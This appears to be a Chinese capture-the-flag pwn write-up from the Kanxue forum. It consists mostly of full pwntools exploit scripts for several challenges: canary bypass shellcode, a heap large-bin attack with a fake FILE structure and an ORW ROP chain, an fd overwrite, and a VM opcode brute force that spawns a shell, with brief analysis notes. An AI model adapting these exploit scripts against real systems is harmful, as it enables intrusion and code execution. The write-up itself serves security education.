队友分析出来可以绕过 canary, 劫持返回地址到 attack。
exploit
from pwn import *
s = lambda x : io.send(x)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sla = lambda x,y : io.sendlineafter(x,y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
attack = '1.95.76.73:10000'
binary = './ASU1'
def start(argv=[], *a, **kw):
if args.GDB:return gdb.debug(binary,gdbscript)
if args.TAG:return remote(*args.TAG.split(':'))
if args.REM:return remote(*attack.split(':'))
return process([binary] + argv, *a, **kw)
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
gdbscript = '''
#continue
'''.format(**locals())
io = start([])
def cmd(a):
sla(b': ',str(a))
def case1(id,name,con):
cmd(1)
sa(b'ID: ',id)
sa(b': ',name)
sa(b': ',con)
def detele(id):
cmd(2)
sla(b'ID: ',id)
def addfile(name,con):
io.recv()
sl(name)
io.recv()
s(con)
cmd(8)
sla(b':',str(10))
addfile(b'flag1',b'a')
addfile(b'flag2',b'b')
addfile(b'flag3','\x90\x90\x89\xc7\x54\x5e\x0f\x05')
addfile(b'flag4',b'\x90')
addfile(b'flag5',b'\x90'*4)
addfile(b'flag6',b'\x90\x89\xc7\x54\x5e\x0f\x05'+b'\x56\x0f')
addfile(b'flag7',b'\x90\x90\x90\x89\xc7\x54\x5e\x0f\x05')
xxx = '''
mov edi,eax
push rsp
pop rsi
syscall
'''
gadget = 0x04028A6
ru('opportunity')
sc1='''
nop
nop
nop
nop
nop
nop
'''
sc1 = asm(sc1)
s(sc1)
ru('want to do?')
sl(p64(gadget))
print(disasm(asm(xxx)))
pause()
sc = asm(shellcraft.open('flag'))
sc += asm(shellcraft.read('rax','rsp',0x40))
sc += asm(shellcraft.write(1,'rsp',0x40))
sl(b'\x90'*0x80+sc)
itr()
分析
这里会heap++ 指针
如果紧接着调用的话,这里的 heap 指针也是++ 后的,基地址发生偏移,从而堆溢出。
后面 large_bin_attack 攻击mp_
,
exploit
from pwn import *
s = lambda x : io.send(x)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sla = lambda x,y : io.sendlineafter(x,y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
attack = '1.95.76.73:10010'
binary = './SU_text'
def start(argv=[], *a, **kw):
if args.GDB:return gdb.debug(binary,gdbscript)
if args.TAG:return remote(*args.TAG.split(':'))
if args.REM:return remote(*attack.split(':'))
return process([binary] + argv, *a, **kw)
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
gdbscript = '''
#b *printf
#continue
'''.format(**locals())
def add(idx,size):
pay = b''
pay += p8(1)
pay += p8(0x10)
pay += p8(idx)
pay += p32(size)
pay += p8(3)
ru('bytes):\n')
s(pay)
def rm(idx):
pay = b''
pay += p8(1)
pay += p8(0x11)
pay += p8(idx)
pay += p8(3)
ru('bytes):\n')
s(pay)
def write(idx,offset):
pay = b''
pay += p8(2)
pay += p8(idx)
pay += p8(0x10)
pay += p8(0x16)
pay += p32(offset)
pay += p8(0)
pay += p8(3)
return pay
def heap_to_buf(offset):
pay = b''
pay += p8(2)
pay += p8(0)
pay += p8(0x10)
pay += p8(0x15)
pay += p32(offset)
pay += p64(0)
pay += p8(0)
pay += p8(3)
return pay
def buf_to_heap(idx,offset,data):
pay = b''
pay += p8(2)
pay += p8(idx)
pay += p8(0x10)
pay += p8(0x14)
pay += p32(offset)
pay += p64(data)
pay += p8(0)
pay += p8(3)
return pay
def heap_add(idx,data1,data2):
data1 = data1 & 0xFFFFFFFF
data2 = data2 & 0xFFFFFFFF
pay = b''
pay += p8(2)
pay += p8(idx)
pay += p8(0x10)
pay += p8(0x10)
pay += p32(data1)
pay += p32(data2)
pay += p8(0)
pay += p8(3)
return pay
def s2_xor(idx,data1,data2):
data1 = data1 & 0xFFFFFFFF
data2 = data2 & 0xFFFFFFFF
pay = b''
pay += p8(2)
pay += p8(idx)
pay += p8(0x11)
pay += p8(0x12)
pay += p32(data1)
pay += p32(data2)
pay += p8(0)
pay += p8(3)
return pay
io = start([])
add(0, 0x418)
add(1, 0x418)
rm(0)
add(0, 0x418)
pay = heap_to_buf(0)[:-1]
pay += write(0,0xffffffe7+8)
ru('bytes):\n')
s(pay)
libc_base = uu64(r(8)) - 0x203b20
lss('libc_base')
ru('bytes):\n')
pay = buf_to_heap(0, 0, 0)
s(pay)
ru('bytes):\n')
pay = buf_to_heap(0, 8, 0)
s(pay)
add(2,0x428)
add(3,0x428)
add(4,0x418)
add(5,0x428)
rm(2)
add(6,0x438)
rm(4)
target = libc_base + 0x2031ec - 0x20
ru('bytes):\n')
pay = s2_xor(1, 1, 2)[:-2]
pay += s2_xor(1, 1, 2)[2:-2] * 19
pay += buf_to_heap(0,0x3e8,target)[2:-2]
pay += heap_to_buf(0x3e0)[2:-2]
pay += write(0,0xffffffe7+8+3)[2:]
s(pay)
lss('libc_base')
heap_base = uu64(r(8))
lss('heap_base')
add(7,0x438)
add(8,0x450)
add(9,0x450)
rm(9)
rm(8)
libc.address = libc_base
heap_base += 0x2000
key = heap_base >> 0xC
ru('bytes):\n')
pay = s2_xor(7, 1, 2)[:-2]
pay += s2_xor(7, 1, 2)[2:-2] * 19
pay += buf_to_heap(7,0x3f0, libc.sym['_IO_2_1_stdout_'] ^ key)[2:]
sl(pay)
lss('key')
lss('heap_base')
print(hex(libc.sym['_IO_2_1_stdout_']))
add(0x8,0x450)
add(0x9,0x450)
fake_IO_addr = libc.sym['_IO_2_1_stdout_']
fake_io = flat({
0x00: ' sh;',
0x18: libc.sym['setcontext'] + 61,
0x20: fake_IO_addr,
0x68: fake_IO_addr,
0x70: 0,
0x78: fake_IO_addr,
0x88: fake_IO_addr + 0x8,
0x90: 0x400,
0x98: 0x23,
0xa0: fake_IO_addr,
0xa8: libc.sym['setcontext']+294,
0xb0: libc.sym['read'],
0xd8: libc.sym['_IO_wfile_jumps'] + 0x30 - 0x20,
0xe0: fake_IO_addr,
},filler=b'\x00')
ru('bytes):\n')
pay = buf_to_heap(9,0,0)[:-2]
for i in range(0,len(fake_io),8):
p1 = u64(fake_io[i:i+8])
pay += buf_to_heap(9,i,p1)[2:-2]
pay += buf_to_heap(9,i,p1)[-2:]
hexdump(pay)
s(pay)
pause()
libc_rop = ROP(libc)
rax = libc_rop.find_gadget(['pop rax','ret'])[0]
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0]
r13 = libc_base + 0x000584c9
rdx = libc_base + 0x00000000000b00c7
syscall = libc_rop.find_gadget(['syscall','ret'])[0]
orw_rop_addr = fake_IO_addr
orw_rop = p64(rax) + p64(2) + p64(rdi) + p64(orw_rop_addr+0xd0+0x28) + p64(rsi) + p64(0) + p64(syscall)
orw_rop += p64(rdi) + p64(3) + p64(rsi) + p64(orw_rop_addr+0xd0+0x28) + p64(r13) + p64(0x100) + p64(rdx) + p64(0)*4+ p64(libc.sym['read'])
orw_rop += p64(rdi) + p64(1) + p64(rsi) + p64(orw_rop_addr+0xd0+0x28) + p64(r13) + p64(0x100) + p64(rdx) + p64(0)*4+ p64(libc.sym['write'])
orw_rop += b'/flag'.ljust(0x10,b'\x00')
sl(orw_rop)
itr()
分析
漏洞点在crete_data, 先赋值data_size,然后再判断的,然后就有了堆溢出的操作。
构造 data_ptr 可以先溢出到 text_ptr
然后稍微爆破的方式把 fd 3,修改成0,
之后再使用功能4-2的时候就成标准输入了,后面就是堆溢出,覆盖指针,到bss,然后任意写。
任意写,覆盖原本的结构体。
exploit
from pwn import *
s = lambda x : io.send(x)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sla = lambda x,y : io.sendlineafter(x,y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
attack = '1.95.131.201:10012'
binary = './chall'
def start(argv=[], *a, **kw):
if args.GDB:return gdb.debug(binary,gdbscript)
if args.TAG:return remote(*args.TAG.split(':'))
if args.REM:return remote(*attack.split(':'))
return process([binary] + argv, *a, **kw)
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
gdbscript = '''
b *0x00401299
#b *0x401F90
#b *0x401FC0
#b *0x401FF0
#b *0x402030
#b *0x402070
#b *0x4020B0
#b *0x4020F0
#b *0x402130
#continue
'''.format(**locals())
io = start([])
def menu(i):
ru('choice >\n')
sl(str(i))
def add(Type):
menu(1)
ru('text\n')
sl(str(Type))
def rm(Type):
menu(2)
ru('text\n')
sl(str(Type))
def create_data(size):
menu(3)
ru(b'Please input the size of the data ocean.\n')
sl(str(size))
def pull_data(size,Type):
menu(4)
ru(b'How much data?\n')
sl(str(size))
ru('2.gate of text\n')
sl(str(Type))
ru(b'bytes from the gate:\n')
create_data(0x378)
create_data(0x1FFF)
add(1)
rm(1)
create_data(0x378)
add(2)
add(1)
create_data(0x2FFF)
while 1:
pull_data(0x3a1, 1)
data = ru('**GATES OF DATA**')
x = int(data[:-19][-2:],16)
if x == 0:
break
menu(4)
ru(b'How much data?\n')
sl(str(0x3b0))
ru('2.gate of text\n')
sl('2')
pause()
pay = '0\n' * 0x388
s(pay)
pay = p64(0x3a0)
pay += p64(0x480678)
pay += p64(0x3a0)
pay += p64(0xd7b100000000)
pay += p64(0x1000)
x = '\n'.join([str(i) for i in list(pay)])
sl(x)
pause()
menu(4)
ru(b'How much data?\n')
sl(str(0x1))
ru('2.gate of text\n')
sl('2')
pay = b'1\n\x00'
pay = pay.ljust(0x118+4,b'A')
pay += p64(0)
pay += p64(0)
pay += p64(0xd7b300000000)
pay += p64(0x1)
s(pay)
menu(4)
ru(b'How much data?\n')
sl(str(0x3a0+0x58))
ru('2.gate of text\n')
sl('1')
pay = flat({
0x398:0
},filler=b'\x00')
pay += p64(0xd7b100000000)
pay += p64(0x1000)
pay += p64(0)
pay += p64(1)
pay += p64(0)
pay += p64(0x47f920-2)
pay += p64(0x41c710)
pay += p64(0x41c680)
pay += p64(0)
pay += p64(0x41c660)
pay += p64(0)
sl(pay)
menu(4)
ru(b'How much data?\n')
sl(str(1))
ru('2.gate of text\n')
sl('2')
pay = b'/bin/sh\x00'
sl(b'1\x00' + pay)
menu(4)
ru(b'How much data?\n')
sl(str(0x3a0+0x58))
ru('2.gate of text\n')
sl('1')
pay = flat({
0x398:0
},filler=b'\x00')
pay += p64(0xd7b100000000)
pay += p64(0x1000)
pay += p64(0)
pay += p64(1)
pay += p64(1)
pay += p64(0x47e9a8)
pay += p64(0x41c710)
pay += p64(0x41c680)
pay += p64(0x424242)
pay += p64(0x41c660)
pay += p64(0x434343)
sl(pay)
menu(4)
ru(b'How much data?\n')
sl(str(1))
ru('2.gate of text\n')
sl('2')
pay = flat({
0x00:'\x01\x00\x00\x00\xb2\xd7',
0x10:0x0454F03,
0x38:0x0456184,
},filler=b'\x00')
sl(pay)
print('b *0x0456184')
itr()
patch
把文件patch 一下 然后直接爆出来
from pwn import *
s = lambda x : io.send(x)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sla = lambda x,y : io.sendlineafter(x,y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
attack = ''
binary = './chall'
def start(argv=[], *a, **kw):
if args.GDB:return gdb.debug(binary,gdbscript)
if args.TAG:return remote(*args.TAG.split(':'))
if args.REM:return remote(*attack.split(':'))
return process([binary] + argv, *a, **kw)
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
gdbscript = '''
brva 0x02349
brva 0x0274D
#continue
'''.format(**locals())
def gsp(opcode, cmd1=0, o1=0, o2=0, data=0xbeef):
op = 0
op += cmd1 + (opcode<<4)
print(op)
op += (o2 + (o1<<4) << 8)
print(op)
op += (data) << 0x10
print(op)
return p32(op)
for o1 in range(0x10):
for o2 in range(0x10):
io = start([])
ru('code:\n')
opcode = 4
cmd1 = 4
pay = gsp(opcode, cmd1, o1, o2, 0x1111)
s(pay)
try:
ru(b'Sorry, I forget to set the memory region writable...\n')
r(0x2a)
data = ru(p64(0))[:-9]
if (data):
print(f'gsp({opcode}, {cmd1}, {o1}, {o2}, 0x1111)','# hack',disasm(data))
io.close()
except:
pass
exploit
from pwn import *
s = lambda x : io.send(x)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sla = lambda x,y : io.sendlineafter(x,y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
attack = '1.95.131.201:10001'
binary = './patch/chall'
def start(argv=[], *a, **kw):
if args.GDB:return gdb.debug(binary,gdbscript)
if args.TAG:return remote(*args.TAG.split(':'))
if args.REM:return remote(*attack.split(':'))
return process([binary] + argv, *a, **kw)
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
gdbscript = '''
brva 0x01ECF
brva 0x0274D
brva 0x02479
'''.format(**locals())
io = start([])
def gsp(opcode, cmd1=0, o1=0, o2=0, data=0xbeef):
op = 0
op += cmd1 + (opcode<<4)
print(op)
op += (o2 + (o1<<4) << 8)
print(op)
op += (data) << 0x10
print(op)
return p32(op)
ru('code:\n')
pay = b''
pay += gsp(4, 4, 7, 4, 0x1111)
pay += gsp(9, 0, 0, 0, 0xFFFF) *0xF
pay += gsp(0, 1, 0, 0, u16(asm('pop rax;pop rdi')))
pay += gsp(0, 1, 1, 0, 0x15db)
pay += gsp(2, 0, 0, 1, 0)
pay += gsp(0, 1, 3, 0, 0x7)
pay += gsp(4, 4, 7, 4, 0x1111)
pay += gsp(9, 0, 0, 0, 0xFFFF) *0xF
pay += gsp(0, 1, 0, 0, u16(asm('pop rdi;pop rdi')))
pay += gsp(4, 4, 7, 4, 0x1111)
pay += gsp(9, 0, 0, 0, 0xFFFF) *0xF
pay += gsp(0, 1, 0, 0, u16(asm('pop rdi;pop rdi')))
pay += gsp(4, 4, 7, 4, 0x1111)
pay += gsp(9, 0, 0, 0, 0xFFFF) *0xF
pay += gsp(0, 1, 0, 0, u16('f\xbe'))
pay += gsp(0, 1, 0, 0, 0x9090)
pay += gsp(4, 4, 7, 4, 0x1111)
pay += gsp(9, 0, 0, 0, 0xFFFF) *0xF
pay += gsp(0, 1, 0, 0, u16(asm('call rax')))
pay += gsp(4, 4, 7, 4, 0x1111)
pay += gsp(9, 0, 0, 0, 0xFFFF) *0xF
pay += gsp(0, 1, 0, 0, u16(asm('push 0')))
pay += gsp(4, 4, 7, 4, 0x1111)
pay += gsp(9, 0, 0, 0, 0xFFFF) *0xF
pay += gsp(0, 1, 0, 0, u16(asm('push 0')))
pay += gsp(4, 4, 7, 4, 0x1111)
pay += gsp(9, 0, 0, 0, 0xFFFF) *0xF
pay += gsp(0, 1, 0, 0, u16(asm('pop rax;push rdi')))
pay += gsp(4, 4, 7, 4, 0x1111)
pay += gsp(9, 0, 0, 0, 0xFFFF) *0xF
pay += gsp(0, 1, 0, 0, u16(asm('pop rsi;pop rdi')))
pay += gsp(0, 1, 3, 0, 0x500)
pay += gsp(4, 4, 7, 4, 0x1111)
pay += gsp(9, 0, 0, 0, 0xFFFF) *0xF
pay += gsp(0, 1, 0, 0, u16(asm('syscall')))
pay += gsp(0, 1, 0, 0, 0x9090)
pay += gsp(0, 1, 0, 0, 0x9090)
pay += gsp(0, 1, 0, 0, 0x9090)
pay += gsp(0, 1, 0, 0, 0x9090)
s(pay)
pause()
pay = b'\x90' * 0x200
pay += asm(shellcraft.sh())
sl(pay)
itr()
先分析菜单
被C++ 击败了
看雪ID:imLZH1
https://bbs.kanxue.com/user-home-987517.htm
*本文为看雪论坛优秀文章,由 imLZH1 原创,转载请注明来自看雪社区